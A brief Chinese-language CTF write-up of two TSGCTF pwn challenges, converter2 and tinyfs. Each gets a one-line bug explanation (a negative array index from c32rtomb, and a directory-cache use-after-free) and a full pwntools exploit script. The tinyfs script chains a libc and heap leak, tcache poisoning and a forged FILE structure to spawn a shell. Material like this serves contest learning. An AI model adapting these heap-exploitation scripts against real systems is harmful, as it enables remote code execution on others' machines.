摸了两道PWN就下号补作业去了(悲
converter2
c32rtomb
函数若传入的的UTF-32字符非法会返回-1,利用这点可以使指针指向数组负下标的位置。往 utf32_hexstr[3]
的尾部写一组UTF-32字符的数据,使其解析 utf32_hexstr[3]
时解析多一组数据,在后续 printf
时就能将flag带出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *io = remote('34.146.195.242' , 40004 ) ru = lambda x : io.recvuntil(x, drop = True ) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() bear = '0' * 3 + '1f98a' junk = 'aaaaaaaa' a_a = '0' * 6 + hex (ord ('a' ))[2 :] a_8 = '0' * 6 + hex (ord ('8' ))[2 :] a_9 = '0' * 6 + hex (ord ('9' ))[2 :] a_f = '0' * 6 + hex (ord ('f' ))[2 :] a_1 = '0' * 6 + hex (ord ('1' ))[2 :] a_0 = '0' * 6 + hex (ord ('0' ))[2 :] tg0 = a_0 * 3 + a_1 + a_f + a_9 + a_a + a_8 tg1 = a_0 * 3 + a_1 + a_f + a_9 tg2 = a_0 * 3 + a_1 + a_f + a_9 + a_8 + a_a sla('utf32be? (hexstring)> ' , junk * 22 + tg0) sla('utf32be? (hexstring)> ' , junk * 14 + tg1 + tg2) sa('utf32be. (hexstring)> ' , bear * 31 ) ru('{' ) flag = ru('}' ) flag = 'TSGCTF{' + flag + '}' success(flag) ia()
tinyfs
cd
时使用绝对路径会将该目录的信息储存在缓存数组里,在 rm
父目录后不会删除其子目录在缓存数组里的数据,即可以继续利用缓存里的子目录通过 cd ..
访问到原本已经删除的父目录,同时因为删除父目录时 free
目录内的文件后并没有清空文件指针,所以可以造成UAF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *context.binary = 'chall' libc = ELF('libc-2.37.so' , checksec = False ) io = remote('34.146.195.242' , 31415 ) rc = lambda n : io.recv(n) sa = lambda a, b : io.sendafter(a, b) sla = lambda a, b : io.sendlineafter(a, b) ia = lambda : io.interactive() uu64 = lambda x : u64(x.ljust(8 , '\x00' )) libc_os = lambda x : libc_base + x heap_os = lambda x : heap_base + x libc_sym = lambda x : libc_os(libc.sym[x]) def cmd (s ): sla('$ ' , s) def mkdir (name ): cmd('mkdir ' + name) def touch (name ): cmd('touch ' + name) def cd (path ): cmd('cd ' + path) def rm (name ): cmd('rm ' + name) def ls (name ): cmd('ls ' + name) def cat (name ): cmd('cat ' + name) def mod (name, content ): cmd('mod ' + name) sa('Write Here > ' , content) mkdir('dir1' ) cd('dir1' ) touch('file1' ) touch('file2' ) touch('file3' ) touch('file4' ) touch('file5' ) touch('file6' ) touch('file7' ) touch('file8' ) touch('file9' ) mkdir('dir11' ) cd('/dir1/dir11' ) cd('..' ) cd('..' ) rm('dir1' ) cd('/dir1/dir11' ) cd('..' ) cat('file1' ) libc_base = uu64(rc(6 )) - (0x7f1cf7937ce0 - 0x7f1cf771e000 ) + 0x23000 cat('file9' ) heap_base = (uu64(rc(5 )) << 12 ) - 0x1000 key = heap_base >> 12 io_list = libc_os(0x1f7680 ) victim = heap_os(0x55fc23c37960 -0x55fc23c37000 ) vt = libc_os(0x7f8f62af2240 - 0x7f8f628ff000 ) sys_addr = libc_sym('system' ) mod('file3' , flat(key ^ (io_list-0x10 )) + '\n' ) cd('..' ) mkdir('dir2' ) touch('file1' ) pld = flat({ 0 : ' sh\x00' , 0x58 : sys_addr, 0x88 : heap_base + 0x100 , 0xa0 : victim - 0 , 0xc0 : 1 , 0xd8 : vt-0x40 , 0xe0 : victim-0x10 , }, filler = '\x00' ) mod('file1' , pld + '\n' ) touch('file2' ) mod('file2' , flat(victim) * 6 + '\n' ) cmd('exit' ) ia()